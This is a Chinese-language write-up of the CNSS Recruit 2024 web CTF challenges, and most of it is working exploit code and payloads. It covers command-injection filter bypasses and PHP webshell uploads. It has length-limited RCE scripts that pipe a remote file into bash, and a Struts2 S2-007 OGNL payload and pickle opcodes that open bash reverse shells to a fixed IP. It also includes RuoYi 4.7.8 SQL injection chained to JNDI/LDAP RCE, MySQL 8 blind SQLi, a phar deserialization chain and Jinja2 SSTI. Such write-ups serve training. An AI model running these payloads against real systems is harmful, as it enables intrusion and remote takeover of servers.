CNSS Recruit 2024 Web方向 题解WriteUp

文章首发于【先知社区】:https://xz.aliyun.com/t/15586

babyHTTP

image-20240807211545505

开题,Http传参问题

image-20240807211610189

GET:
?CNSS=hackers

image-20240807211653991

POST:
web=fun

image-20240807211708799

Cookie:
admin=true

image-20240807211742583

PHPinfo

image-20240807211812833

开题

image-20240807211834499

根据题目描述,猜测phpinfo.php文件有东西。

phpinfo里面包含了php环境绝大部分信息,当然也有flag

image-20240807211906991

我得再快点

image-20240807213557132

开题,一秒一遍,写自动化脚本吧

image-20240807213828675

脚本思路:

获取key,md5加密,发送到/check?value=

from selenium import webdriver
from selenium.webdriver.common.by import By
import hashlib
import requests
import time

# 定义要请求的URL
url = 'http://152.136.11.155:10103/'
url_check = 'http://152.136.11.155:10103/check'

# 定义定时刷新的时间间隔(以秒为单位)
refresh_interval = 1  # 1秒


def get_key():
    try:
        driver.get(url)
        time.sleep(1)  # 等待页面加载
        key_element = driver.find_element(By.XPATH, "//p[contains(text(),'Key :')]")
        key_text = key_element.text
        key = key_text.split('Key : ')[1]
        return key
    except Exception as e:
        print(f"Failed to fetch key from page: {e}")
        return None


def md5_encrypt(key):
    md5_hash = hashlib.md5()
    md5_hash.update(key.encode('utf-8'))
    return md5_hash.hexdigest()


def send_encrypted_key(encrypted_key):
    try:
        response = requests.get(url_check, params={'value': encrypted_key})
        response.raise_for_status()
        print(f"Response from /check: {response.text}")
    except requests.RequestException as e:
        print(f"Failed to send encrypted key: {e}")


if __name__ == "__main__":
    driver = webdriver.Chrome()
    try:
        while True:
            key = get_key()
            print(key)
            if key:
                encrypted_key = md5_encrypt(key)
                send_encrypted_key(encrypted_key)
            time.sleep(refresh_interval)
    finally:
        driver.quit()

image-20240807215255524

Ping

image-20240807215447580

开题,是自动ping一个ip然后返回结果

image-20240807215922103

nl2br是一个格式整理函数,在字符串中的新行(\n)之前插入换行符

image-20240807222204337

这个ping函数查不到,应该是自定义函数。这题感觉猜测是在函数内部执行了ping命令,应该是用分隔符去截断做。

分隔符被过滤了|;&还能用%0a

ip=127.0.0.1%0als

image-20240807222148768

控股也被过滤了,用%09也就是tab绕过,读一下源码

ip=127.0.0.1%0acat%09index.php
<?php
function validate_input($input) {
    $invalid_chars = array("sh","bash","chown"," ", "chmod", "echo", "+", "&",";", "|", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]");
    foreach ($invalid_chars as $invalid_char) {
        if (strpos($input, $invalid_char) !== false) {
            return false;
        }
    }

    if (preg_match("/.*f.*l.*a.*g.*/", $input)) {
        return false;
    }

    return true;
}

function ping($ip_address) {
    if (!validate_input($ip_address)) {
        return "Error: Invalid input.";
    }

    $cmd = "ping -c 2 " .$ip_address;
    exec($cmd, $output, $return_code);


    if ($return_code !== 0) {
        echo("Error: Failed to execute command.");
    }

    return implode("\n", $output);
}

if (isset($_POST['ip'])) {
    $ip = $_POST['ip'];
    $ping_result = ping($ip);
    echo nl2br($ping_result); // 输出ping结果并保留换行
}
?>

payload:

ip=127.0.0.1%0acat%09/f*

image-20240807222306986

linux常用命令合集:

ls   ##查看目录
ls /  ##列出根目录(\)下的所有目录:
echo `tac% fla*`;   ##反字节符
cp fl*g.php a.txt   ##将flag.php拷贝到a.txt
cd ..或者cd ../   ##达到访问上一个目录的目的##../和~/是目录跳转符
tac   ##tac flag 反序输出文件内容
cat   ##
tac /flag   ##抓在根目录的flag
find / -name fla*   ##找到文件名匹配fla*的文件
tac/cat $(find / -name fla*)   ##打印所有文件名匹配fla*的文件
find /html/WWW/ -name fla*  :在某目录下查找包含fla*的文件
find / -type f -exec grep -Hn "flag{" {} \;
dir /   查看根目录
find / -user root -perm -4000 -print 2>/dev/null   #查看suid权限文件
---------------------------------------------------------------------
mv fl?g.php 1.txt   ##将flag.php改名为1.txt
cp fla?.??? 1.txt      ##将flag.php复制给1.txt
nl flag.php>x.txt
tee file1.txt file2.txt //复制文件
tac /f149_15_h3r3|tee 2

awk '/xxx/' fla?.php   ##输出flag文件中包含字符xxx的行
awk '/xxx/{print}' fla?.php  ##输出flag文件中包含字符xxx的行

?c=grep 'ctfshow' flag.php
(在 fl???php匹配到的文件中,查找含有ctfshow的文件,并打印出包含 ctfshow 的这一行)

cat `ls`    ##直接将当前目录下所有文件打印出来,先执行反引号
#cat `ls`->cat 当前所有文件名->当前目录下所有文件打印出来

system("cat flag.php|base64") //把flagbase64编码后输出system("base64 flag.php") //把flagbase64编码后输出
--------------------------------------------------------------------
在linux中与cat有类似功能的有如下字符
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、awk
more:一页一页的显示档案内容    more flag.php
less:与 more 类似   less flag.php
head:查看头几行  head flag.php
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行  tail flag.php
nl:显示的时候,顺便输出行号  nl flag.php   
od:以二进制的方式读取档案内容  od flag.php
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看     sort flag.php
uniq:可以查看
file -f:报错出具体内容
rev:将文件倒序输出。
strings:strings flag.php

grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
-----------------------------------------------------------------------

CNSS娘の宠物商店

image-20240807205258624

开题,需要登录。(前端好看

image-20240807205447973

模糊字典测一下,发现登录处存在sql注入。

image-20240807205428813

结合题目描述猜测是用万能密码进行登录。

image-20240807205410810

image-20240807205401421

2048

image-20240807222608925

一眼前端游戏题

image-20240808111207939

ban了 F12、Ctrl+U。鼠标表点击谷歌开发者工具就行。

源代码里面搜索alert、score、flag、cnss。有score也就是记录分数的变量。

开启一局游戏,随便玩几下

image-20240808111547682

然后控制台输入score=9999999999999999999999修改分数

image-20240808111611679

点击flag拿flag。

image-20240808111517363

看得出来flag是alert出来的,源码看看flag如何出来的

有一个getflag函数,进行了加密(混淆)

image-20240808111851353

换个头像先

image-20240808112821547

应该是个文件上传。开题需要登录

image-20240808112847578

注册个账号然后登录

image-20240808112927882

更换头像,抓包。前端限制了后缀,上传个jpg后缀的php木马上去

image-20240808113037984

改成php后缀

image-20240808113205624

没给上传到哪的路径,不急,Ctrl+U前端源码看看

点击访问

image-20240808113237085

已经tac到了flag

image-20240808113304310

can can need shell

image-20240808113343392

开题,直接给了源码

image-20240808144350780

是个文件上传,后缀和内容均有过滤。题目没有上传按钮,应该是我自己写一个html表单上传,注意name="uploaded_file"

<form action="http://152.136.11.155:10108/" enctype="multipart/form-data" method="post" >
    
    <input name="uploaded_file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

抓个包慢慢调,后缀是php确定了,其他后缀不解析,看看内容怎么绕过滤

内容过滤是这些:

$dangerous = array('eval',"[","]","`","*","+","|","url","flag","{","}","@","(",")");

呜,过滤了括号我很难做阿,难做那就别做了(bushi

首要思路是找个可以不用括号的函数,看下图你应该懂我意思了吧

image-20240808151650246

include不用括号也行,同时只包含内容不管后缀即文件种类

那我们上传一个带马的jpg。

image-20240808151912279

------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.jpg"
Content-Type: application/octet-stream

<?php eval($_POST[1]);echo 'include success!!!'?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--

然后上传一个php去包含之前的jpg

image-20240808152049757

------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.php"
Content-Type: application/octet-stream

<?php
include '../a3a3ba08c46190b5eb693450637552d5/c8f8f62b73b118b60546893b80b08a48.jpg';
echo 'this is include';
?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--

访问一下,从echo来看包含成功了,getshell就行

image-20240808152137864

image-20240808152201472

此外还有一个payload,上传一个文件就行:

<?php 
include"php://filter/convert.base64-encode/resource=/fl"."ag";

EZRCCCCE

image-20240808152956216

开题,直接给了源码

image-20240808153107728

<?php
highlight_file(__FILE__);
$sandbox = './sandbox/' . md5("Th1s_is_4_sandbox" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
function filter($a){
    $a = preg_replace("/(flag|\*|\/|cat|php|bash|txt|tac)/i", "hehehehe", $a);
    return $a;}
if (isset($_GET['6']) && strlen($_GET['6']) < 8) {   //try to keep fit!
    echo(exec(filter($_GET['6'])));
}
?>

限制了输入的长度、具备少量WAF。

WAF绕过不难,最容易想到的就是同义替换或者base64

主要是思考如何突破长度限制

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \,可以将一条命令写在多行
比如我们有一个test文件内容如下:

ec\
ho \
hello \
world!

然后我们用sh命令来执行一下,成功输出了 hello world

sh test

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

touch a
touch b
touch c
ls -t

image-20240907045305157

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件

ls -t>test
cat test

image-20240907045419600

> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _

image-20240907045635769

这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况:

image-20240907045835984

输入通配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id 
>root
*

image-20240907052348379

讲清楚原理后开始做题。

pwd查看当前可写入的目录

image-20240907083223831

#写入语句
<?php eval($_GET[1]);

#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7

#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

依次输入:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
nl 0
sh 0

或者:

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f            

脚本:

import requests

url = "http://152.136.11.155:10109/?6={0}"
cookies = {"PHPSESSID": "1be0406b25e76622ec8aece860d13e82"}  # 添加PHPSESSID cookie

print("[+] Start attack!!!")
with open("results.txt", "r") as f:
    for i in f:
        print("[*] " + url.format(i.strip()))
        requests.get(url.format(i.strip()), cookies=cookies)  # 传入cookies

# 检查是否攻击成功
test = requests.get("http://152.136.11.155:10109/sandbox/85323d93cc57664e7b283ecce923a707/1.php", cookies=cookies)  # 传入cookies
if test.status_code == requests.codes.ok:
    print("[*] Attack success!!!")

image-20240907083428462

访问/sandbox/85323d93cc57664e7b283ecce923a707/1.php?1=system('ls /');getshell

image-20240907083658945


结尾再放一下其他的payload:

空格需要转义

>\ \\

构造空格就用去了五个字符,反弹shell语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/124.71.147.99/1717 0>&1

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

参考以下脚本写法:

#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="

s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]
# curl 120.79.33.253|bash
list2=[
    ">bash",
    ">\|\\",
    ">53\\",
    ">2\\",
    ">3.\\",
    ">3\\",
    ">9.\\",
    ">7\\",
    ">0.\\",
    ">12\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    url = baseurl+str(i)
    s.get(url)
for j in list2:
    url = baseurl+str(j)
    s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")


Tomcat?cat~

image-20240808163119493

估计是java题,开题

image-20240808163725093

源码发现是struts2的漏洞

image-20240808163735927

结合登录框特征,应该是S2-007,在age处注入Payload

/user.action
POST:
name=&email=&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29+%2B+%27

image-20240808170218583

flag在/usr/local/tomcat/webapps/flaaaaaaag/flag.jsp

image-20240808183610511

newsql

image-20240807211514411

开题,id应该是注入点了

image-20240808205920451

存在过滤

image-20240808210016736

模糊测试测一下,响应大小为7的都是被过滤的

image-20240808210230581

过滤如下

;
select
union
where
order
having

闭合为空,数字型

/?id=1 and 1=1--+
/?id=1 and 1=2--+

image-20240808214146728

image-20240808214157558

MYSQL8.0新特性注入

Pwnhub2021七月赛NewSql(mysql8注入)_mysql8.0新特性注入ctf-CSDN博客

MYSQL8.0注入新特性 - 先知社区 (aliyun.com)

【网安干货】MySQL8新特性注入技巧_mysql8.0.19还是8.0.21-CSDN博客

先手动盲注一下,可行

?id=1 and substr((database()),1,4)='cnss'
?id=1 and ((binary'mysqk','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/0,1))#

image-20240907085937841

image-20240907091129254

写个自动化脚本:(没写完)

import requests

url="http://152.136.11.155:10111"

flag=""
for i in range(100):
    for j in "!#$%&()*+,-/0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~":
        # payload = "1 and ((binary'{}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 7,1))#".format(flag+j)

        payload = "1 and (('def','cnss','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(table information_schema.tables limit 8,1))#".format(flag+j)
        # payload = "1 and if(('def','cnss','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(TABLE information_schema.tables limit {},1),0,1)"
        # payload = "1 and ('def','cnss','cn55','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(TABLE cn55 limit {},1)".format(flag+j,i)

        # payload = "1 and (('1',binary'{}')<(table cnss.cn55 limit 0,1))#".format(flag+j)



        data={
            'id':payload
        }
        # r = requests.post(url=url, data=data)
        r = requests.get(url=url, params=data)

        # print(payload)
        # print(flag+j)
        # print(len(r.text))
        # print(r.text)

        if len(r.text) == 102:
            flag += chr(ord(j)-1)
            print(flag)
            break
        if j == "~":
            flag = flag[:len(flag)-1]+chr(ord(flag[-1])+1)
            print(flag)
            exit()


#库/表:mysql,innodb_system,innodb_temporary,innodb_undo_001,innodb_undo_002,sys/sys_config,cnss/users,cnss/cn55,cnss/uagents,cnss/referers

where is my unserialize?

image-20240808215257471

开题,三个功能点:

image-20240904124915167

文件读取

image-20240904124935451

文件上传

image-20240904124928895

可读取文件:

index.php

base.php

function.php

class.php

upload_file.php

file.php

upload_file.php有文件上传,file.php可以文件读取,class.php有恶意类。

phar反序列化包包的。

class.php

<?php
class CNSS
{
    public $shino;
    public $shin0;
    public $name;
    public function __construct($name)
    {
        $this->name=$name;
    }

    public function __wakeup()
    {
        $this->shin0 = 'cnss';
        $this->_sayhello();
    }
    public function _sayhello()
    {
        echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
    }


    public function __destruct()
    {
        $this->shin0 = $this->name;
        echo $this->shin0.'<br>';
    }
}



class CN55
{
    public $source;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __invoke()
    {
        return $this->_get('key');
    }
    public function _get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

class Show
{


    public $key;
    public $haha;

    public function __construct($file)
    {
        $this->key = $file;
        echo $this->key.'<br>';
    }
    public function __toString()
    {
        $func = $this->haha['hehe'];
        return $func();
    }
    public function __call($key,$value)
    {
        $this->$key = $value;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {   //Do you know 'Php ARchive'?
            echo "hacker~";
            $this->source = "index.php";
        }
    }

}
?>

反序列化链:

CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)

生成phar:

<?php
class CNSS
{
    public $shino;
    public $shin0;
    public $name;
    public function __construct($name)
    {
        $this->name=$name;
    }

    public function __wakeup()
    {
        $this->shin0 = 'cnss';
        $this->_sayhello();
    }
    public function _sayhello()
    {
        echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
    }


    public function __destruct()
    {
        $this->shin0 = $this->name;
        echo $this->shin0.'<br>';
    }
}





class CN55
{
    public $source;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __invoke()
    {
        return $this->_get('key');
    }
    public function _get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

class Show
{
    public $key;
    public $haha;

    public function __construct($file)
    {
        $this->key = $file;
        echo $this->key.'<br>';
    }
    public function __toString()
    {
        $func = $this->haha['hehe'];
        return $func();
    }

    public function __call($key,$value)
    {
        $this->$key = $value;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {   //Do you know 'Php ARchive'?
            echo "hacker~";
            $this->source = "index.php";
        }
    }

}


//CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)

$Jay17=new Show('j47');
$a=new CNSS($Jay17);
$Jay17->haha['hehe']=new CN55();
$Jay17->haha['hehe']->params['key']='file:///var/www/html/f1ag.php';


//删除原来的phar包,防止重复
//@unlink("xxx.phar");
//后缀名必须为phar
$phar = new Phar("xxx.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将自定义的meta-data存入manifest
$phar->setMetadata($a);
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
echo "done.";

修改后缀后上传

image-20240904160746420

image-20240904160805540

翻翻源码看一下上传文件的存储位置。phar协议解析就行。

/file.php?file=phar:///var/www/html/upload/a976285aa6d6096e9edd17db289a73a9.jpg

image-20240904160849459

image-20240904160859490

CNSS娘の聊天室

image-20240810220046553

开题,输入什么输出什么,怀疑是SSTI

image-20240810220120021

后端是python,测一下Jinja2

image-20240810220211444

{{7*7}}

还真有

image-20240810220234856

试一试最原始的payload。看看是不是上过滤了

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

发现英文被过滤了。。。只过滤了26个字母,英文符号没事

image-20240810220500827

思路是用八进制代替英文字母,unicode和十六进制都会有英文出现。

原始payload:

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

转八进制

.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("ls /").read()')转为('XXXXXX')

payload:

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\154\163\040\057\042\051\056\162\145\141\144\050\051')}}

image-20240810225935599

读取flag

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\143\141\164\040\057\146\061\061\061\061\061\061\061\061\061\061\061\061\061\061\061\064\147\056\164\170\164\042\051\056\162\145\141\144\050\051')}}

image-20240810230026637

没有人比我更懂RuoYi

image-20240807205532084

看题目描述,若依的版本是v4.7.7,屏蔽定时任务bean违规的字符但是没屏蔽干净,造成了漏洞。

尝试了一下4.7.6 版本 任意文件下载漏洞,已经失效了。

image-20240907020508411

参考文章:

若依4.7.8版本计划任务rce复现_若依计划任务rce-CSDN博客

POC/RuoYi/RUOYI-v4.7.8存在远程代码执行漏洞.md at main · wy876/POC · GitHub

这题有师傅写wp了,写的很好:ruoyi-v4.7.8-RCE分析 - EddieMurphy’s blog (eddiemurphy89.github.io)

开始做题。

第一步是计划任务sql注入

先验证一下4.7.8计划任务sql注入

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'test~' WHERE job_id = 1;')

image-20240907022631963

payload中的sql语句以及被执行,作用是修改id为1的计划任务的值为test~。验证成功

image-20240907022655650

第二步是计划任务命令执行

开启监听验证漏洞 payload:

javax.naming.InitialContext.lookup('ldap://124.71.147.99:1717')

将上面的payload进行十六进制编码:

0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729

将编码后的payload带入下面的payload中:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729 WHERE job_id = 2;')

上面payload的作用是利用之前的sql注入漏洞,修改job_id为2的计划任务内容,将该计划任务执行的命令改为我们构造好的payload。

image-20240907023130407

image-20240907023202151

更多操作->执行一次id为2的任务,收到监听

image-20240907023310115

rce可行。我们接下来使用JNDI反弹shell。

先下好工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 124.71.147.99

image-20240907031217483

javax.naming.InitialContext.lookup('ldap://124.71.147.99:1389/remoteExploit8')
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729 WHERE job_id = 3;')

image-20240907025505515

image-20240907031120090

image-20240907031134727

结尾列一下若依的历史漏洞

CNSS娘のFlag商店

image-20240809075621948

开题,/code路由下载源码

NAME = "Rich"
MONEY = 2000

def reset():
    global NAME, MONEY
    NAME = "Rich"
    MONEY = 2000
# encoding: utf-8
import os
import pickle

import buyInfo
import flask

app = flask.Flask(__name__)
flag = os.environ.get('FLAG')


class Hi():
    def __init__(self, name, money):
        self.name = name
        self.money = money

    def __eq__(self, other):
        return self.name == other.name and self.money == other.money


@app.route('/')
def index():
    user = flask.request.args.get('user')
    if user is None:
        return 'View code in /code to buy flag.'
    if 'R' in user.upper():
        return '臭要饭的别挡我财路'

    user = pickle.loads(user.encode('utf-8'))
    print(user.name, user.money)
    print(buyInfo.NAME,  buyInfo.MONEY)
    if user == Hi(buyInfo.NAME,  buyInfo.MONEY):
        buyInfo.reset()
        return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'

    return '臭要饭的别挡我财路'


@app.route('/code')
def code():
    file = 'code.zip'
    return flask.send_file(file, mimetype='application/zip')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

核心代码是这段:

@app.route('/')
def index():
    user = flask.request.args.get('user')
    if user is None:
        return 'View code in /code to buy flag.'
    if 'R' in user.upper():
        return '臭要饭的别挡我财路'

    user = pickle.loads(user.encode('utf-8'))
    print(user.name, user.money)
    print(buyInfo.NAME,  buyInfo.MONEY)
    if user == Hi(buyInfo.NAME,  buyInfo.MONEY):
        buyInfo.reset()
        return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'

    return '臭要饭的别挡我财路'

pickle.loads()函数是漏洞点,pickle反序列化。其实有pickle反序列化直接弹shell就行,但是这里根着题目意思来。

__eq__(self, other)方法在Python中是一个特殊的方法,用于定义当使用等号运算符(==)比较两个类的实例时的行为。

如果你在类中实现了__eq__方法,那么你就告诉Python,应该如何判断两个该类的实例是否相等。默认情况下,如果你没有定义__eq__,两个类的实例只有在它们是内存中同一个对象时(即具有相同的身份)才会被认为是相等的。但是,如果你想根据某些属性来判断两个实例是否相等,就需要定义__eq__方法。

Hi类中,__eq__方法的定义如下:

def __eq__(self, other):
    return self.name == other.name and self.money == other.money

这个方法用于比较两个Hi类的实例(selfother)。它检查两个实例的namemoney属性是否相等。如果它们都相等,则方法返回True,表示这两个实例是相等的。否则,返回False

举个例子:

person1 = Hi("Alice", 100)
person2 = Hi("Alice", 100)
person3 = Hi("Bob", 200)

print(person1 == person2)  # 这将打印True,因为name和money属性都相等
print(person1 == person3)  # 这将打印False,因为name或money属性不相等

因此,__eq__方法实际上是实现用户在自定义比较Hi类的实例时,实现==运算符的含义。

虽然这题和自助商店一样可以直接打RCE,但是我们还是做一下预期解。

预期解是我们序列化一个对象即可,name、money和buyInfo对象的name、money相等就行,

对象名字任意取,不用R。

可以先看一个test脚本:

import pickle
import os


class Person():
    def __init__(self):
        self.age = 18
        self.name = "Pickle"

    # def __reduce__(self):
    #     command = r"whoami"
    #     return (os.system, (command,))


p = Person()
opcode = pickle.dumps(p)
print(opcode)

P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

if 'R' in user.upper():payload里面不能有R字符,之前有想过不给用R那名字里面的Rich怎么办,后来发现不一定要直接传值。还记得c指令码吗?它专门用来获取一个全局变量。

看0x07:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

payload:

(V\u0052\u0069\u0063\u0068%0aI2000%0ai__main__%0aHi%0a.

(i__main__%0AHi%0A(dS'money'%0AI2000%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.

(i__main__%0AHi%0A(dS'money'%0AcbuyInfo%0AMONEY%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.

CNSS娘の自助Flag商店

image-20240807205727858

/code路由可以拿到源码

NAME = "Rich"
MONEY = 2000

def reset():
    global NAME, MONEY
    NAME = "Rich"
    MONEY = 2000
# encoding: utf-8
import pickle

import flask
import buyInfo

app = flask.Flask(__name__)
# flag is in /flag.txt


class Hi():
    def __init__(self, name, money):
        self.name = name
        self.money = money

    def __eq__(self, other):
        return self.name == other.name and self.money == other.money


@app.route('/')
def index():
    user = flask.request.args.get('user')
    if user is None:
        return 'View code in /code to buy flag.'
    if 'R' in user.upper():
        return '臭要饭的别挡我财路'

    user = pickle.loads(user.encode('utf-8'))
    if user == Hi(buyInfo.NAME, buyInfo.MONEY):
        buyInfo.reset()
        return '你说得对,但是上次CNSS娘被你骗了之后很伤心,把商店改成了自助flag商店,你得自己找flag'

    return '臭要饭的别挡我财路'


@app.route('/code')
def code():
    file = 'code.zip'
    return flask.send_file(file, mimetype='application/zip')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

pickle反序列化。if 'R' in user.upper():禁用了R字符。像[2021极客巅峰 opcode],参考文章:CTF题型 Python中pickle反序列化进阶利用&opcode绕过_ctf opcode-CSDN博客

这个有R被ban了

cos
system
(S'whoami'
tR.

下面两个都可以用

(S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
ios
system
.
(cos
system
S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
o.

payload:(要URL编码一下)

/?user=(S'bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.71.147.99%2F1717%200%3E%261''%0Aios%0Asystem%0A.

image-20240807211133061

